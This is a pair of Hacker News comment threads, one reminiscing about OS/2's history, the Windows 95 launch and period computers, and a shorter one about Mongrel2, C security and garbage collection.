Half an operating system: The triumph and tragedy of OS/2 - <AUTHOR> http://arstechnica.com/business/2013/11/half-an-operating-system-the-triumph-and-tragedy-of-os2/ <comment><USER2> > Long before operating systems got exciting names based on giant cats and > towns in California named after dogs, most of their names were pretty > boring.

Ah, yes. Mavericks, California. It's a great little offshore town, just off Pillar Point. I love that town.

Kidding aside, this is a great article.

Related to this story, the Windows 3.0 visual shell was originally not supposed to be Program Manager and File Manager. It was going to be a program called Ruby that I worked on with Alan Cooper and our team.

Ruby was a shell construction kit with a visual editor to lay out forms and components, which we called gizmos. You would drag arrows between gizmos to connect events fired by one gizmo to actions taken on another.

The shell was extensible, with an API for creating gizmos. A really weak area was the command language for the actions to be taken on an event. It was about on the level of batch files if that. But we hoped the API would allow for better command languages to be added along with more gizmos.

BTW, this project was where the phrase "fire an event" came from. I was looking for a name for process of one gizmo sending a message to another. I knew that SQL had triggers, but for some reason I didn't like that name. I got frustrated one night and started firing rubber bands at my screen to help me think. It was a habit I had back then, probably more practical on a tough glass CRT than it is today.

After firing a few rubber bands, I knew what to call it.

(As one might guess, I've always been curious to know if the phrase "fire an event" was used before that. I wasn't aware of it, but who knows.)

Anyway, Ruby didn't become the Windows 3.0 shell after all. The went with ProgMan and FileMan instead. To give Ruby a better command language, they adapted Basic and the result was Visual Basic. Gizmos were renamed "controls" (sigh), and my Gizmo API became the notorious VBX interface (sorry about that).

And we still don't have a programmable visual shell in Windows.

<comment><USER3> _> And we still don't have a programmable visual shell in Windows._

Very true, there isn't one. But there are several. None of them all that good though. Windows Workflow, System Center Runbooks, Biztalk, they've all made their mark. I've seen serious systems built using all of them, ultimately I have to wonder whether visual programming on that scale is even a good idea.

<comment><USER4> No, it's not. Visual is basically bad for anything but toys.

<comment><USER5> It is not a good language indeed. It doesn't allow you to express proper abstractions or anything particularly interesting.

But it did allow you to get things done very quickly, and that's why you see that was used a lot in several industries for small things that doesn't require to be maintained a lot and still do useful things.

</comment></comment></comment></comment><comment><USER6> I bought OS/2 for work to run on some DEC PC (not the damn Rainbow, the decent 486 DEC sold). The graphic card (S3) wasn't supported out of the box, so I called the IBM and got nowhere other than an acknowledgement it existed.

I called DEC and they too believed it existed, so they (while I was still on the line) called their contact at IBM. After being transferred twice, we arrived at the person who could mail me the driver, but I would have to sign an NDA. Myself and the DEC rep explained we didn't want source or a beta driver, just the release one. He insisted every customer had to sign. I said I'd think about it. After hanging up, the DEC rep couldn't stop laughing. He asked if I wanted a free copy of NT compliments of DEC. I took it and it had the correct driver.

I tried, but they had no chance.

<comment><USER7> > not the damn Rainbow

Hey I had a Rainbow! It was pretty amazing IF it had it's full potential it would have been the best computer until the Amiga came out.

Rainbow: CPUs - Z80 (8 Bit) and a Intel 8080 OS - CP/M and MS-DOS Could be upgraded to 286 later.

Would have been perfect BUT they didn't get things setup correctly and I was really stuck in Z80 CP/M land.

<comment><USER6> One man's innovation is another man's Frankenstein Monster.

It was actually an 8088 not an 8080.

Anyone who had to deal with people using those damn Rainbow floppy disk drives has my eternal sympathy. I really, really want to know what they were thinking on both the format and how you inserted those disks.

<comment><USER8> Had to look up what that was about. According to [http://en.wikipedia.org/wiki/Rainbow_100#Floppy_disk_drives](http://en.wikipedia.org/wiki/Rainbow_100#Floppy_disk_drives), they could do away with one drive motor, with only a 'minor' disadvantage: _" Of note was the single motor used to drive both disk drives via a common spindle, which were arranged one on top of the other. That meant that one disk went underneath the first but inserted upside-down."_

</comment></comment></comment></comment><comment><USER9> If anyone wants an insider's view, here's a Usenet post from one of the early Microsoft employees, Gordon Letwin:

[http://gunkies.org/wiki/Gordon_Letwin_OS/2_usenet_post](http://gunkies.org/wiki/Gordon_Letwin_OS/2_usenet_post)

Somewhere in the Usenet archive is Gordon trolling the OS/2 users for weeks (or months?) on end. I can't remember the exact details, but he had a bet with several people that Windows would have multitasking, or that OS/2 wouldn't have some sort of multitasking before Windows. The bet was to fly the winner to any city of their choice and buy them dinner.

The discussions were quite heated and it was particulary memorable because he was one of the first 12 employees at Microsoft.

[http://en.wikipedia.org/wiki/Gordon_Letwin](http://en.wikipedia.org/wiki/Gordon_Letwin)

<comment><USER10> Letwin was also _the_ guy for OS/2 on the Microsoft side while the alliance lasted. His _Inside OS /2_ is a detailed account of trying to squeeze a real multitasking, protected memory OS into a '286:

[http://www.amazon.com/Inside-OS-2-Gordon- Letwin/dp/155615117...](http://www.amazon.com/Inside-OS-2-Gordon- Letwin/dp/1556151179)

The cover photo is also classic.

<comment><USER11> The photo should be in a National Geographic captioned "A Unix beard in his natural habitat".

<comment><USER12> In _its_ natural habitat. A Unix beard is genderless; it merely seems to exhibit a preference for male hosts.

<comment><USER13> I thought Unix greybeards were like Tolkien's dwarves in exhibiting little sex-based dimorphism.

</comment></comment></comment></comment></comment><comment><USER14> Up until March of last year a lot of ATMs in the US were still running OS/2 . . . I "upgraded" a lot of them to Windows XP. Yuck.

When I would take the OS/2 system offline and replace it with a Windows cage the payment network would sometimes tell me the uptime on the deprecated machines . . . one network operator claimed 8 years of uptime at one particular machine. I have no way of confirming that, but I definitely felt the OS/2 machines were rock solid, especially compared to the vulnerable Windows machines. Most small banks with NCR machines are running two software packages (APTRA Edge or Advance) with default admin passwords and are really behind on the monthly bug patches. Eek.

The OS/2 machines required you to input config info in hex though, so I was glad I didn't have to work on them in the field too much.

<comment><USER15> When you think of it, 8 years of uptime isn't special for a machine running on a UPS and not needing a reboot for software updates. There simply isn't a reason for a well-built operating system running on solid hardware to crash.

<comment><USER16> ATMs usually do not have a UPS.

<comment><USER17> Then I'm more impressed by the local utilities than the OS :)

</comment></comment></comment></comment><comment><USER18> I actually bought a copy of OS/2 Warp when it came out because I was interested in its preemptive multi-tasking, and it was a decent operating system for what it's worth. I was definitely more stable than Window 3.11, but its real problem was compatibility. Back in the early 90s, everything was about getting compatibility, and while OS/2 had good compatibility, didn't have perfect compatibility.

As well, I worked at a bank, and as the article correctly stated, the entire bank was run on OS/2, most notably the ATMs, except the ATMs I worked with was using OS/2 2.0.

However, when Windows NT 3.51 came out, that was the game changer. I was the only person I knew who even knew what it was (I read about it in a magazine at the time), and I was able to get a student-priced copy at my college bookstore. I started using it, and it was awesome, everything just worked, except for some games. You couldn't even compare NT 3.51 to OS/2, it wasn't even in the same level. The look and feel of NT was exactly the same as Windows 3.11, and all the programs worked.

<comment><USER19> My computer had 8mb RAM at the time and NT required 16 to install so I "borrowed" another 8 from one of the school computers, installed NT and then returned the memory. It ran well enough on 8.

<comment><USER18> I was lucky enough to have a 486DX-50 (not a DX2-66)with 16 MB of RAM, so it ran perfectly for me.

Even with what was bleeding edge hardware at the time, I still remember trying to finish writing my senior project using Corel Draw and Microsoft Word on Windows 3.11, and having my computer crash ever 30-45 mins, and my project partner eventually broke down and started crying because of how frustrating it was.

<comment><USER19> Yeah, mine was a Pentium 90! (I decided to scrimp on RAM and get the 90 in stead of the 66.) It was a huge jump from the 286 I had before. (Upgrading memory meant socketing rows of individual DIPs.)

<comment><USER20> Wow, I remember the Pentium 90s coming out and being amazed. I of course had rubbish old late 1980s British computers to use whilst everyone else was on 16 bit machines, but when the Pentium II came out, I finally got hold of a 486 DX2 66Mhz. It is strange how you learn to "make do" with hardware and systems, and learn patience. I finally bought an Ivybridge i7 last year after "making do" with machines for a long time. I fondly remember spending hours and hours tinkering with slow systems, but being just as productive!

<comment><USER21> There are times when you need to have high CPU performance, but the reality is that all semi-current machines are amazingly fast and capable of productive work.

</comment></comment></comment></comment></comment></comment><comment><USER22> I worked at a large computer chain (R.I.P. Softwarehouse / CompUSA) from 1993 - 1996 and had been building clone computers for businesses from 1990-1993. I remember how this played out _very well_.

At the time, IBM had sent in scores of company reps to train up our floor staff on the advantages of OS/2 over the always-soon-to-be-released Chicago. They did a good job getting all of us to "drink the Kool Aid". I received a free (not pirated, promotional) copy of blue OS/2 Warp 3.0. It was a fantastic operating system for running a DOS based multi-node Telegard BBS and it did well with Win16 applications.

The impact of Windows 95 coming on the scene, though, is difficult to fully appreciate unless you were there. We had been selling pre-orders for months and there were a myriad of promos. I remember some of those preorders were sold under the threat that there wouldn't be enough copies to go around on release day. I had been playing with pirated copies of the betas of Windows 95 for the prior two months. Even in its beta form, it ran circles around Windows 3.0/3.1 in terms of reliability. I even remember reloading my PC with the most recent beta after release because a DOS application I used ran more reliably in it than in the RTM code.

Then launch day came. It was unlike anything I had ever seen in terms of a software release. We closed up at 9:00 PM and re-opened at 12:00 midnight to a line of customers that went around the building --- A line of customers ... for an operating system. We joked at the time that "Windows really was _that_ bad". There were tons of additional promotions to ensure people came and lined up--Some RAM / hard disks selling under "cost" and others. And the atmosphere of the store felt like a party. We had theme music playing (start me up?) and some Microsoft video playing on our higher-end multi-media PCs. It was obvious to us, on the floor, trained by IBMs marketing machine, that Warp died that day.

As an anecdote to the stories about IBMs marketing being a little off: I remember around the release of Warp 4.0 I saw an advertisement at a subway station something along the lines of "Warp Obliterated my PC!"\-- that tagline, evidently, meant to be some hip new use of the word obliterated.

<comment><USER23> > We closed up at 9:00 PM and re-opened at 12:00 midnight to a line of > customers that went around the building --- A line of customers ... for an > operating system.

I grew up in Dallas, SoftWarehouse (somebody else remembers that name, awesome)/CompUSA's original stomping grounds and this story kept coming back to me throughout the whole article. Windows 95 was considered _revolutionary_ at the time, even to those of us lined up at the Lewisville, Texas store at 10:30PM to buy an operating system. (Incidentally, the first time I ever talked my dad into taking me to an overnight release of anything.) Windows 95 was the first operating system I ever saw non-technical people set out intentionally to buy and I spent months installing it for friends and family.

> We had theme music playing (start me up?) and some Microsoft video playing > on our higher-end multi-media PCs.

Yep, it was "Start Me Up" by the Rolling Stones. If I remember correctly, the video was a demo reel of everything new in Windows 95 and was highlighted by the huge Start button popping in at the end of the video, then fading to black. It even had a snippet of the waving Windows 3.1 flag and the bear from the "Help / About" Easter Egg hidden in 3.1.

</comment></comment><comment><USER24> If you liked this article, you should read Show Stopper. It's out of print, but there are ample used copies via Amazon.

[http://www.amazon.com/gp/aw/d/0029356717/](http://www.amazon.com/gp/aw/d/0029356717/)

<comment><USER25> It's not quite at the level of Soul of a New Machine, but I still think every programmer should read this book. A great story from the trenches. It gave me so much respect for Dave Cutler, and confirmed so many things I suspected about Microsoft at the time.

<comment><USER26> Yeah? My reading of that book was that there was such an inhuman marriage/life destroying crunch getting NT out the door that nobody covered themselves in glory, much less showed themselves worthy of respect.

And it explained to me, in clear terms, why Windows was such a buggy pile of shit. It was created of its culture.

</comment></comment></comment><comment><USER27> OS/2 had many flaws but its multitasking was unseen on a PC at the time. I remember formatting a floppy while running two 16-bit Windows sessions (which were communicating with each other) and multiple DOS windows, thinking I was in the future.

Even Windows 95 was limited by many system calls being funneled through single threaded BIOS or DOS 16-bit land.

<comment><USER28> Couldn't the Amiga already do all that multitasking on a 256KB machine, years before?

<comment><USER29> I don't think the Amiga had real multi-tasking, from what I understand. I may be wrong.

<comment><USER30> Yes, the Amiga had proper honest multitasking. A normal boot of an Amiga system would typically result in over twenty processes running in the background. In fact, its particular style of multitasking (static absolute priorities) was well-suited to real-time operation. Back in the days when CD writers could create coasters from buffer under-runs, I had more success writing CDs using my 25MHz Amiga than my 400MHz PC. Also, it was a microkernel system with things like device drivers and filesystems as separate processes, which had some fairly nifty consequences. For instance, it took Linux ages to lose its single kernel spinlock, which was a problem because of the huge amount of stuff done in kernel space. The thing the Amiga didn't have (mostly because of lack of hardware capability) was memory protection.

</comment></comment></comment></comment><comment><USER31> I remember my dad getting a promotional shirt for OS/2 with the caption "Flight 4.0 to Chicago has been delayed, I'm taking off with OS/2"

The idea being that Windows 95 was internally called Windows 4.0 with the codename Chicago.

I keep on searching for it but can't find it anywhere.

And Bill Gates on OS/2 in 1987: "I believe OS/2 is destined to be the most important operating system, and possibly program, of all time."

<comment><USER32> You can find many of Microsoft's codenames here:

[http://en.wikipedia.org/wiki/List_of_Microsoft_codenames#Win...](http://en.wikipedia.org/wiki/List_of_Microsoft_codenames#Windows_3.1x.2F9x)

My favourite codename sniping had to do with Windows NT (codename Cairo) and NeXT. When announcing NeXTSTEP 4.0 (codename Mecca), Jobs quipped, "Why stop at Cairo when you can go all the way to Mecca?"

[http://www.paullynch.org/NeXTSTEP/Expo.1994.htmld/](http://www.paullynch.org/NeXTSTEP/Expo.1994.htmld/)

</comment></comment><comment><USER21> I have fond memories of OS/2 from the summer of 1995. At the time, I was a undergraduate at the University of Texas at Austin, and IBM needed summer intern testers for a product they were calling "OS/2 Lan Server Enterprise". OS/2 LSE was IBM's effort to re-platform OS/2 LAN Server on top of OS/2 DCE (in development on the lab next door to LSE). The general idea was to provide a way to scale up OS/2 so that it would interoperate with other DCE-based systems (mainly RS/6000 AIX, IIRC).

Anyway, the machine IBM gave me to use was a PS/2 Model 80. This was a 1988-era machine that had been brought to the semi-modern era with 20MB of RAM memory installed via several MCA expansion cards. Against my best expectations, the machine ran well, despite the fact that its CPU was at least 10% the speed of the then-state of the art.

From what I remember, the OS/2 LSE product itself was fairly solid. However, the biggest memory I have from that summer was the afternoon we spent playing around with the Microsoft Windows 95 beta disk we received for compatability testing. Towards the end of the afternoon, we tried to DriveSpace (compress) the disk. We got bored during the wait for the compress, so we pulled the power on the machine thinking that would be the end of it. However, once we powered the machine back up to install OS/2, Windows 95 just resumed compressing away like nothing happened. A few weeks later, a friend and I went to CompUSA for the Windows95 launch. Even at midnight, there was a line out the door, winding past the Windows 95 boxes, then the Plus Pack, then Office 95, and then memory upgrades... Didn't hear much about OS/2 after that...

</comment><comment><USER33> Incredible that companies like Apple (Mac), Atari (ST) and Commodore (Amiga) weren't able to fully capitalise on their leading position in GUI based OSes of the time, which were miles ahead of both MS and IBM.

<comment><USER34> Those of us around then know exactly why this was: PC Clones were too cheap and got better too quickly for other platforms to compete.

Back then we all thought "computers" was a hardware game. Only Microsoft realised the hardware didn't matter, software was the main game. And yes, I realise we have swung back to the "integrated hardware/software platform" thing being important again. Picking winning strategies in platform wars is hard.

<comment><USER35> Also, Atari didn't get marketing (Jack Tramiel was very reluctant to spend money there). Atari really didn't get systems software, either, and never hired to the extent needed to make a good impact there. The world was basically safe from Atari being anything other than a low-end consumer computer company.

And the thing that probably saved Apple in the late 80s was the desktop publishing business.

<comment><USER34> _Also, Atari didn 't get marketing (Jack Tramiel was very reluctant to spend money there)._

I know that is the conventional story (and pretty similar for the Amiga). I'm not convinced.

I think that both the Amiga & the Atari ST were too far ahead of their time. They were multimedia workstations, without anywhere to play that multimedia (except on other Ataris and Amigas).

Like you said, the Mac managed to hit the desktop publishing wave, which was exactly right for the the paper-centric late 80's and early 90's.

<comment><USER36> Yeah, the Amiga seems like it completely dominated the multimedia niche, but the multimedia niche of the time essentially consisted of the demoscene. Which was great, except that the demoscene was not that large.

<comment><USER37> Huh, Amiga (1000 onwards) was big in video. Especially smaller TV stations that couldn't afford SGIs. Amiga (and SGIs) were light years ahead of Macs in graphics. People often forget this fact.

<comment><USER38> Amiga 2000 (mostly) + NewTek Video Toaster[1] were the driving force behind the TV graphics back then.

[1] [http://en.wikipedia.org/wiki/Video_Toaster](http://en.wikipedia.org/wiki/Video_Toaster)

<comment><USER37> My earliest forays into CG were on amiga and earliest paid jobs were with video toaster / lightwave and softimage on SGIs. Great times. With tools we have today they seem so primitive in comparison.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER39> > IBM licensed Commodore's AREXX scripting language and included it with OS/2 > 2.0.

I find this hard to believe, given that Rexx was developed by IBM.

[http://en.wikipedia.org/wiki/Rexx](http://en.wikipedia.org/wiki/Rexx)

<comment><USER40> Indeed. And IBM do, in fact, still make other OSes, contrary to the subhead of the story: zVM/CMS, zOS (MVS), AIX, and whatever they're calling AS/400 these days.

<comment><USER41> OS/400 is very interesting OS for those interested in OS architectures.

The complete userspace is bytecode based, regardless of the language.

Applications are compiled on installation phase, or when the generated code is deemed not to be valid any longer.

When there was an architecture change for the PowerPC, many installations only required a regeneration of the installed software.

A concept that Microsoft tried with Longhorn and Windows Phone 7. Or we could even say, the model Android almost has as well.

Native Oberon and Inferno also tried a similar approach, to certain extent.

<comment><USER42> The thing I find interesting about OS/400 (or whatever it's name is this month) is the single-level store. When your program needs access to the contents of a file, it's just a memory offset. The OS relies on the swapping mechanism to bring those pages into available memory. Which, when you have flat 64 (one could argue 65) bit addressing … why not?

<comment><USER43> Wait wait wait...so it effectively memory maps all the things?

Mainframe environments are weird.

<comment><USER41> And OS/400 files are libraries that you need to open, as another example of strangeness.

Or the OS/360 which uses virtualization for all OSs, like Hyper V does on Windows.

The first OS to boot from the hypervisor has master rights, but all OSs are virtualized.

<comment><USER44> > Or the OS/360 which uses virtualization for all OSs, like Hyper V does on > Windows

No, the hypervisor was called VM. According to WP it most frequently ran CMS guests, which was a light weight single-app OS. But could also run OS/360 guests (which predated VM).

</comment></comment></comment></comment></comment></comment></comment><comment><USER45> Great read. In the end, it seems like a classic failure to resolve the innovator's dilemma. IBM decided that the future of computing would revolve around mainframes because _they liked mainframes_ , not because that's where the facts led them. And ultimately they paid the price for it.

<comment><USER46> I think it's a bit more complicated than that.

Put yourself in the shoes of someone who'd grown up on mainframes. The systems you're used to are fabulously expensive, sure, but their operating systems have sophisticated architectures that allow them to easily juggle multiple users running multiple programs while maintaining the security of the system overall. They are the completest expression ever realized of forty years of progress in the field of information technology.

Then, one day, someone drops a PC in your lap. You are _horrified._ It's a single-user, single-tasking system with absolutely nothing stopping the user from trashing everything by running the wrong program.

To you, this new... _thing_ , whatever it is, is barely worth the name "computer." It feels more like a toy -- like something you would give to a child to play with. Certainly nobody would ever run _critical systems_ on it, you think.

And here's the thing. You're absolutely right! All your concerns are one hundred percent valid. But it turns out that _nobody cares_ ; the PC is much, much cheaper, and it lets everyone have their own dedicated hardware right on their desk running any software they care to install, instead of time-sharing a mainframe and begging for permission each time they want to try a new program. Or, put more bluntly, it lets them escape from having to deal with the corporate IT priesthood (i.e. you) anymore.

The market speaks! You are derided as a pointy-headed nerd and swept into the dustbin of history.

Now fast forward ten or fifteen years. People start taking all those PCs they bought and hooking them together into networks... and suddenly all those things you were worried about back in the day come roaring back to bite them. Users discover that their machine stops talking to the network when they click and hold the mouse button, because the OS can't walk and chew gum at the same time. And the complete lack of security makes their machines super easy to compromise.

The PC vendors panic. They scramble to rewrite their old systems into systems that can live comfortably on a network. And when they're done, they roll out systems that look an awful lot like what you were insisting the baseline for a "real computer" was fifteen years ago. The world cheers and lines up to buy back all the sophistication they had happily thrown away before.

In other words, it's not so much that the IBMers were wrong, it's that they were _early_. When OS/2 arrived, the world didn't understand yet why it needed something like OS/2\. And by the time it did, OS/2 didn't exist anymore. But in this business, being early is effectively the same thing as being wrong. The market doesn't give out points for foresight.

<comment><USER47> Regarding vulnerabilities, which many think (wrongly) are not present in mainframes, because they are networked nearly as much, and have massively fewer programs running on them, don't show up as much. But they are there.

<comment><USER25> Certainly, but it's also worth noting that the environments in which programs execute on most mainframes are much more restricted than those of even the typical servers of today, and have been by default for decades.

</comment></comment></comment></comment><comment><USER35> When OS/2 Warp came out, I remember it being insanely cheap ($20?), so in a what-the-hell mood I bought it. Took it home and tried to install it. It was a hopeless mess of disks, both optical and floppy, and I never got it to run.

One of my cow-orkers at Apple had worked on the OS/2 Presentation Manager at IBM. I tried talking with her about it, but she said the experience had been "absolutely awful" and she didn't want to say much else.

IBM never had a chance.

<comment><USER48> I have OS/2 Warp 3 and 4, both boxes at home. They both worked on my computer at the time and run my tiny BBS and allowed me to work on the computer flawlessly. This was much better than my peers who had to dedicate a computer to this. But then I had a loaner modem and a shared voice/BBS line and they had a private line for the BBS too.

It worked nicely and the install wasn't bad, it was quite a few disks but than Windows didn't fare much better in that regard. It was also a mess of many floppy disks to perform an install.

I remember fondly the Team OS/2 meetings where we could geek out our love for OS/2 and mourn the inefficiency of IBM marketing to push it.

And then I found Linux.

</comment></comment><comment><USER49> And not a single mention of Babylon 5.

The special effects were created on Amigas: [http://www.midwinter.com/lurk/making/effects.html](http://www.midwinter.com/lurk/making/effects.html)

Also, while looking at Video Toaster's entry on Wikipedia, I found this gem:

"An updated version called Video Toaster 4000 was later released, using the Amiga 4000's video slot. The 4000 was co-developed by actor Wil Wheaton, who worked on product testing and quality control.[6][7] He later used his public profile to serve as a technology evangelist for the product.[8] The Amiga Video Toaster 4000 source code was released in 2004 by NewTek & DiscreetFX."

[http://en.wikipedia.org/wiki/Video_Toaster](http://en.wikipedia.org/wiki/Video_Toaster)

</comment><comment><USER50> A previous HN thread on OS/2.

[https://news.ycombinator.com/item?id=3785819](https://news.ycombinator.com/item?id=3785819)

<comment><USER51> Also see these threads with my comments:

[https://news.ycombinator.com/item?id=3785819](https://news.ycombinator.com/item?id=3785819)

[http://news.ycombinator.com/item?id=3441885](http://news.ycombinator.com/item?id=3441885)

</comment></comment><comment><USER52> Why aren't the unix-family OSs of the era part of the story? Why didn't IBM even consider porting a unix-family OS to the PCs instead of paying an unproven company like Microsoft to write an OS?

(...all the events from this stretch of computing history seem so weird to me, like from a steampunk-like alternate reality movie. There's surely _lots_ of context missing and stories that nobody will ever tell, since most of the decisions taken by all the key players seem so anti-business. Computers may have changed a lot from back then, but business is still business and all the decisions made seem either "irrational" or based on "hidden information" that is not part of the story.)

<comment><USER53> I guess because, as the article describes, IBM was all for protecting its workstation business as well as the lucrative mainframe business.

A workstation back then was defined as an expensive high-end computer that was designed to be used by only one user at a time (i.e. not a multi-user mainframe), yet was suitable for high-performance applications. They were intended mostly for corporations and academia where extra juice was needed and that could afford to buy workstations (think scientific computing, CAD and graphic design in the 1980s). IBM did at this time already manufacture workstations with UNIX as the operating system (see e.g. [http://www.old- computers.com/museum/computer.asp?c=867&st=1](http://www.old- computers.com/museum/computer.asp?c=867&st=1) ) But they were way too expensive for the home user. PC (personal computer) was the low-end product that you could afford with a normal salary.

I understand UNIX back then was a mainframe and workstation operating system. Licensing was expensive and the hardware requirements beyond that of a PC. Few people had access to UNIX, mostly at universities and at big corporations. These were the very reasons why GNU and Linux were born - to provide a mostly- compatible UNIX clone for the home users with an affordable IBM PC compatible.

So my theory is that IBM was protecting its mainframe business - it did not want to put the powerful UNIX to the PC because it wanted to sell more expensive special hardware to those who wanted UNIX. So it hired a maverick company (Microsoft) to write a low-end, feature-poor operating system for PC (DOS). It was (and continues to be) a business strategy to bundle better software with better hardware so that you can ask customers that want only the superior software for a higher price (still essentially the business model of a certain Cupertino, California based manufacturer)

</comment></comment><comment><USER54> I enjoyed the article. It was a nice trip down memory lane. Regarding development tools, there were 2 commercial IDEs based on REXX: Watcom VX-REXX and VisPro REXX. I used Watcom's VX-REXX and it was a joy to use and allowed for incredibly fast and powerful application development. I heard the same about VisPro REXX. IBM's early set of tools C/2 and C Set++ were a bit painful to use. VisualAge C++ 3.0 was a decent toolset once you got over the weirdness of it. For a while, if you wanted to write C or C++ code using sockets you had to purchase IBM's TCP/IP SDK for $100.

The SIQ was a "synchronous" input queue and the problem has been understated in the article and comments. It was really bad. The base OS was incredibly stable, but the GUI shell, not so much due to the SIQ problem.

There were a number of Unix and Unix-like systems in addition to the ones already listed: Coherent, Interactive, and SCO are some that come to mind. They were pretty expensive IIRC, around $1000 to license.

</comment><comment><USER55> I remember an internal training class at a large consulting firm in the mid 90s that was using OS/2\. I thought, "This is an awful sign. Are we doing this just to get some business with IBM?" They were a big user of Lotus Notes 2. You never know...

</comment><comment><USER56> Interesting read. This part really brought the current Windows 8 push by Microsoft to mind.

"These machines were meant to wrestle control of the PC industry away from the clone makers, but they were also meant to subtly push people back toward a world where PCs were the servants and mainframes were the masters. They were never allowed to be too fast or run a proper operating system that would take advantage of the 32-bit computing power available with the 386 chip. In trying to do two contradictory things at once, they failed at both."

Not quite the same situation, but they have many similarities.

</comment><comment><USER57> Thank you for sharing, a great article indeed.

I'm glad it ended up the way it did, Microsoft at the time was betting on openness being a feature, and I think they helped move the computer and software industries they have gone in since, towards greater openness (and thereby professionalism).

People associate Microsoft with closed source, but it is of course relative, they were in their day the vendor who was banking on openness and courting developers harder than the others.

</comment><comment><USER30> The article says that the Mac OS was the only OS to ship that ran on PowerPC CPUs. This is not true - later versions of the Amiga OS ran on PowerPC.

</comment><comment><USER58> Here's a perspective from the founder of a successful bootstrapped software startup that began by developing native OS/2 applications:

[http://www.stardock.com/stardock/articles/article_sdos2.html](http://www.stardock.com/stardock/articles/article_sdos2.html)

I own a copy of the OS/2 Galactic Civilizations 2.

</comment><comment><USER59> One of my fondest memories of OS/2 (there weren't many, sorry) was finding a media file on one of the diskettes called IBMRALLY.MID which was a little piano rendition of "Ever Onward, IBM" from way back when in the Way Back When Days of IBM.

</comment><comment><USER60> Hah, I was thinking to Ask HN these days about the availability of exotic jobs, including OS/2 (or eComStation) programming jobs. I also wouldn't mind to take Motif jobs. Feel free to contact me if you have any ;)

<comment><USER51> Motif was recently GPLed, as it happened.

</comment></comment><comment><USER61> As this article admits, it is just a rewrite of "Triumph of the Nerds".

<comment><USER62> Yeah, it's typical of Ars these days. Not particularly artful rehashing of existing info.

</comment></comment><comment><USER63> "Version 3.0 was going to up the graphical ante with an exciting new 3D beveled design (which had first appeared with OS/2 1.2)"

I think it was Next computers who got first on this.

</comment><comment><USER64> I seem to recall UPS widely deploying OS/2 internally back in the 90s, with custom (internal) apps written for it.

Probably all Windows by now...

</comment><comment><USER65> This was a great article, thanks for posting!

</comment><comment><USER66> >Finally, and most importantly for the future of the company, Bill Gates hired the architect of the industrial-strength minicomputer operating system VMS and put him in charge of the OS/2 3.0 NT group. Dave Cutler's first directive was to throw away all the old OS/2 code and start from scratch. The company wanted to build a high-performance, fault-tolerant, platform-independent, and fully networkable operating system. It would be known as Windows NT.

A couple of decades later, Dave Cutler is still around at Microsoft and worked on the hypervisor for the Xbox One at the ripe young age of 71, allowing games to run seamlessly beside apps.

From [http://www.theverge.com/2013/11/8/5075216/xbox-one-tv- micros...](http://www.theverge.com/2013/11/8/5075216/xbox-one-tv-microsofts- plan-to-take-over-the-living-room)

>Underneath it all lies the magic — a system layer called the hypervisor that manages resources and keeps both platforms running optimally even as users bounce back and forth between games, apps, and TV.

>To build the hypervisor, Multerer recruited the heaviest hitter he could find: David Cutler, a legendary 71-year-old Microsoft senior technical fellow who wrote the VMS mainframe operating system in 1975 and then came to Microsoft and served as the chief architect of Windows NT.

>It appears his work bridging the two sides of the One has gone swimmingly: jumping between massively complex games like Forza Motorsport 5, TV, and apps like Skype and Internet Explorer was seamless when I got to play with a system in Redmond. Switching in and out of Forza was particularly impressive: the game instantly resumed, with no loading times at all. "It all just works for people," says Henshaw as he walks me through the demo. "They don't have to think about what operating system is there."

<comment><USER6> I would love to see a kickstarted to buy OpenVMS from HP since they are retiring it. It was a quirky but solid OS with some great clustering and security.

<comment><USER67> One thing VMS was not was quirky, DEC went to considerable effort to make everything consistent. If you didn't know a command you could guess it, and it would take the same switches as any other command. Contrast that with Unix whose commands really are quirky...

<comment><USER6> Given by background was UNIX, it certainly felt quirky, but it was very consistent. The "why the heck are there 4 of the same file" moment is a little odd. It was a good OS.

</comment></comment></comment></comment><comment><USER51> The sad thing is that I have never seen an article on the entire MS OS/2 2.0 fiasco that is what I call complete and detailed and many omitting for example the unethical attacks MS did against OS/2 such as "Microsoft Munchkins". I try with my own blog article, but I admit it is not very good either.

<comment><USER68> Wikipedia has some interesting things to say about it.

[http://en.wikipedia.org/wiki/Team_OS/2](http://en.wikipedia.org/wiki/Team_OS/2)

</comment></comment><comment><USER69> > So the new System/360 mainframe line would run the also brand-new OS/360.

Bad example. _Really_ bad example: Not even IBM could standardize on a single OS for the System/360.

The System/360 went through a few OS iterations before OS/360 came along: OS/360 was late, as recounted in _The Mythical Man-Month_ , so DOS/360 came along, then BOS/360, then TOS/360, and even PCP, which didn't support multiprogramming. Other OSes were CP-67, which became VM, MFT, MVT, and still more OSes on top of that.

To this day, there are multiple OSes for the architecture descended from the System/360, including Linux.

</comment><comment><USER70> don't outsource for the sake of a few months, if things take time, then they take time.</comment>


Mongrel2 Almost Valgrind Pure, Bstring Happy - <AUTHOR> http://sheddingbikes.com/posts/1277863730.html <comment><USER2> Before we go too deep into Zed-hating, I've got to say I am _psyched_ for Mongrel2, and I don't even have a particular use in mind for it.

Aside from the fact that it'll undoubtedly be a great piece of software, it's informative and interesting to follow along with his progress on his blog and on his fossil repo.

And if what he promises in terms if features and performance comes to fruition, it'll be a fscking awesome server/gift to hack on and hack with.

Cheers, Zed. Keep it up!

<comment><USER3> Thanks man. I'm pretty stoked about it too. It's shaping up nicely and is tons of fun, not to mention I really think it's got potential.

I just hope it honestly puts an end to this insistence on "one language to rule them all".

<comment><USER4> Zed, do you think you could have written Mongrel2 in C, whilst doing a good job, without having already had the experience with Mongrel v1? What I'm trying to get at is our we just seeing another example of scripting languages being good for prototyping, but getting better raw performance(memory footprint,/speed/disk usage) from a lower level language? Or do you think you could have ended up with a decent architecture on a first go?

<comment><USER5> I'm not Zed, but I have taken this approach several times (Primarily Ruby->Objective-C, but also Ruby->C). I often find it helpful to validate an idea in code quickly, and rewrite for speed/scalabilty/platform integration/etc once I'm happy with a design.

</comment></comment></comment></comment><comment><USER6> "Despite all the evidence that C is quite alright for many applications, and that no, the world doesn't end because of its use"

The world only doesn't end because people are so used to the terrible security record of C apps that they don't even blink when new remote code execution vulnerabilities are found daily. Perhaps someday we'll realize it doesn't have to be this way.

Also, _of course_ the Boehm GC isn't very good. It's ancient and in no way representative of the latest technology in garbage collection. GC can only really be good when it's integrated with the language. A precise generational collector would perform far better but wouldn't be so easy to drop into a C codebase.

<comment><USER3> Boehm's a very good garbage collector, given this:

> A precise generational collector would perform far better but wouldn't be so > easy to drop into a C codebase.

It's that last part that's key. Without language support at even the basic level, you won't get much better.

